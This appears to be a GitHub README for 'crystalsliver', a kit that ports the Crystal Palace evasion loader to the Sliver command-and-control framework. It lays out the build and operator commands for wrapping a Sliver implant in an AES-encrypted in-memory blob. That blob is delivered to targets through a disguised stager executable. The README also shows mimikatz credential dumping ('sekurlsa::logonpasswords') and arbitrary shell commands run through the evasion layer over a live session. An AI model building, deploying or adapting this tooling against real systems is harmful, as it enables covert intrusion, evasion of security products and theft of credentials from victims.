licitrasimone/crystalsliverCrystal Palace Evasion kit for Sliver
Crystal Palace evasion kit ported to Sliver C2.
This is the first public port of rasta-mouse's Crystal-Kit (Cobalt Strike) to Sliver. It follows the same cross-C2 pattern proven by Crystal-Kit-Xenon (Mythic).
Replaces Sliver's default reflective loader and post-ex execution path with Crystal Palace (Raphael Mudge, BSD). The result is a position-independent code (PICO) blob that bundles:
LoadLibrary / GetProcAddress)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryAThe Sliver implant DLL (or any post-ex DLL) is XOR-masked inside the PICO and only unmasked in memory at execution time.
The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO, AES-256-CBC encrypted, and delivered with a custom stager (~17 KB) that decrypts and executes it in memory.
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
│
▼ deliver BOTH files to same directory on target
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
Once a session is active, run sensitive DLLs (recon, credential dumpers, etc.) through Crystal Palace via a Sliver Extension.
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
Pass runtime args without a rebuild by appending them after |:
sliver > crystal --payload C:/path/file.pico.bin|args here
The crystal-loader.x64.dll is a Sliver DLL Extension that reads the PICO blob from disk into a VirtualAlloc(RW) region, flips it to RX with VirtualProtect, and jumps to the Crystal Palace entrypoint. No PAGE_EXECUTE_READWRITE mapping is ever held. Paths use forward slashes. Arg format is type:string (not BOF binary). The DLL is loaded in-memory by Sliver — it is not written as a file to the target disk.
crystal-exec is a second command bundled in the same extension. It runs arbitrary shell commands through Crystal Palace evasion using a PICO embedded directly in the extension DLL — no PICO file to upload.
sliver > crystal-exec --cmd "whoami /all"
Output is returned to the operator over the existing Sliver session via a pipe. This is the fastest path for one-off shell commands when you do not need a full post-ex DLL.
crystal-kit-sliver/
├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/ ← Sliver-specific build glue
├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/
├── RUNBOOK.md Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md Build prerequisites and pipeline details
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
See docs/RUNBOOK.md for the full operator procedure (Sliver install, listener setup, target execution, troubleshooting).